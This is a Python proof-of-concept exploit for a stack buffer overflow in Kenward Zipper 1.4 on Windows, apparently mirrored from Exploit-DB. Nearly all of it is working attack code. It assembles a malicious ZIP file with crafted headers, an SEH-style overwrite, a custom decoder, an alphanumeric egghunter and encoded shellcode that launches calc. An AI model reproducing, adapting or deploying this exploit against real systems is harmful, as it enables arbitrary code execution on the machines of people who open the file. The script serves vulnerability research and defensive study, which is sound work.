Kenward Zipper 1.4 – Local Stack Buffer Overflow

  • 作者: mr_me
    日期: 2010-03-22
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11834/
  • #!/usr/bin/python
    # #################################################################################################
    # Exploit Title : Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit
    # Date: 23/3/2010
    # Bug found by: corelanc0d3r (http://www.corelan.be:8800/)
    # Author: mr_me (http://net-ninja.net/)
    # Software Link : http://www.trans4mind.com/personal_development/zipper/
    # Version : 1.4
    # OS: Windows
    # Tested on : XP SP3 En
    # Greetz to : Corelan Security Team
    # http://www.corelan.be:8800/index.php/security/corelan-team-members/
    # #################################################################################################
    # http://www.abysssec.com/blog/2010/03/ken-ward-zipper-stack-bof-0day-a-not-so-typical-seh-exploit/
    print "|------------------------------------------------------------------|"
    print "| __ __|"
    print "| _________________/ /___ _____ / /________ _____ ___|"
    print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |"
    print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / / |"
    print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/|"
    print "||"
    print "| http://www.corelan.be:8800 |"
    print "|security@corelan.be |"
    print "||"
    print "|-------------------------------------------------[ EIP Hunters ]--|"
    print "~~> Kenward zipper v1.4 0day Stack Buffer Overflow PoC exploit <~~"
    
    ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
    
    #central directory header
    cdf_header = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00\x24\x00\x00"
    "\x00\x00\x00\x00\x00")
    
    # end of central directory header
    eofcdf_header = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
    
    # custom decoder
    decoder = ("\x25\x4A\x4D\x4E\x55" 
    "\x25\x35\x32\x31\x2A\x2d\x55\x55"
    "\x55\x5f\x2d\x56\x55\x56\x5f\x2d"
    "\x55\x55\x55\x5e\x50\x25\x4A\x4D"
    "\x4E\x55\x25\x35\x32\x31\x2A\x2d"
    "\x2b\x5b\x39\x54\x2d\x2a\x5b\x39"
    "\x54\x2d\x2a\x5f\x39\x55\x50")
    
    # ascii egghunter
    egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"
    "9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA");
    
    # shellcode
    calc = ("\xd9\xf7\xd9\x74\x24\xf4\x5b\x53\x59\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
    "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
    "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b"
    "\x4c\x4a\x48\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55"
    "\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x43\x48\x43\x31\x4a\x4f\x4c"
    "\x4b\x50\x4f\x44\x58\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a\x4b"
    "\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a\x4e\x50\x31\x49"
    "\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x42\x54\x44\x47\x49\x51"
    "\x49\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4b\x44\x47\x4b\x50"
    "\x54\x47\x54\x45\x54\x44\x35\x4d\x35\x4c\x4b\x51\x4f\x51\x34"
    "\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51"
    "\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31"
    "\x4a\x4b\x4c\x49\x51\x4c\x46\x44\x43\x34\x48\x43\x51\x4f\x50"
    "\x31\x4a\x56\x43\x50\x50\x56\x42\x44\x4c\x4b\x50\x46\x50\x30"
    "\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c"
    "\x4b\x42\x48\x45\x58\x4b\x39\x4a\x58\x4b\x33\x49\x50\x42\x4a"
    "\x50\x50\x42\x48\x4c\x30\x4c\x4a\x44\x44\x51\x4f\x45\x38\x4a"
    "\x38\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43"
    "\x45\x31\x42\x4c\x43\x53\x46\x4e\x43\x55\x43\x48\x45\x35\x45"
    "\x50\x41\x41");
    
    # chasing the stack....
    align = "\x61" * 67 + "\x58\x58\x73\xf9"
    
    # ;)
    name = "\x6D\x72\x5F\x6D\x65\x73\x5F\x70\x61\x73\x73\x77\x6F"
    "\x72\x64\x5F\x63\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E"
    
    print "[+] Building attack string..."
    
    # my final attack string
    exploit = name
    exploit += "\x43" * 266
    exploit += egghunter
    exploit += "\x43" * (878-len(exploit))
    exploit += "\x54\x5a"
    exploit += decoder
    exploit += "\x73\xf9"
    exploit += "\x44" * (67-len(decoder))
    exploit += "\x73\xf9"
    exploit += align
    exploit += "\x42" * (1022-len(exploit))
    exploit += "\x73\xf9\x41\x41"
    exploit += "\x6d\x26\x44\x00"
    exploit += "\x57\x30\x30\x54"
    exploit += "\x57\x30\x30\x54"
    # when the ninja strikes the samurai, the emperor wore no clothes
    exploit += calc
    exploit += "\x42" * (4064-len(exploit))
    exploit += "\x2e\x74\x78\x74"
    
    print "[+] Writing payload to cst-kenzip.zip"
    # write the payload
    mefile = open('cst-kenzip.zip','w');
    mefile.write(ldf_header + exploit + cdf_header + exploit + eofcdf_header);
    mefile.close()
    print "[+] Exploit file created!!"